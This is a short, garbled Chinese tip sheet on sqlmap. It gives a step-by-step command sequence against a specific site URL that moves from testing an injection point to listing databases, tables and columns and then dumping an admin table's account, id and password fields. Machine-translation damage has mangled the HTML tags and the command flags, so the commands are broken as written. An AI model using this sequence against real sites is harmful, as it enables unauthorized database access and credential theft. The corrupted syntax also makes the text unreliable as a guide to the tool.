SQLMAP实用技巧


<李>

<>强检查注入点


<代码> sqlmap -uhttp://ooxx.com.tw/star_photo.php吗?artist_id=11

<李>

<>强列数据库信息


<代码> sqlmap -uhttp://ooxx.com.tw/star_photo.php吗?artist_id=11, dbs

<李>

<强>指定库名列出所有表


<代码> sqlmap -uhttp://ooxx.com.tw/star_photo.php吗?artist_id=11-D vhost48330——表

<李>

<强>指定库名表名列出所有字段


<代码> sqlmap -uhttp://ooxx.com.tw/star_photo.php吗?artist_id=11-D vhost48330 - t管理——列

<李>

<强>指定库名表名字段倾倒出指定字段


<代码> sqlmap -uhttp://ooxx.com.tw/star_photo.php吗?artist_id=11-D vhost48330管理- c - t ac, id、密码——转储






SQLMAP实用技巧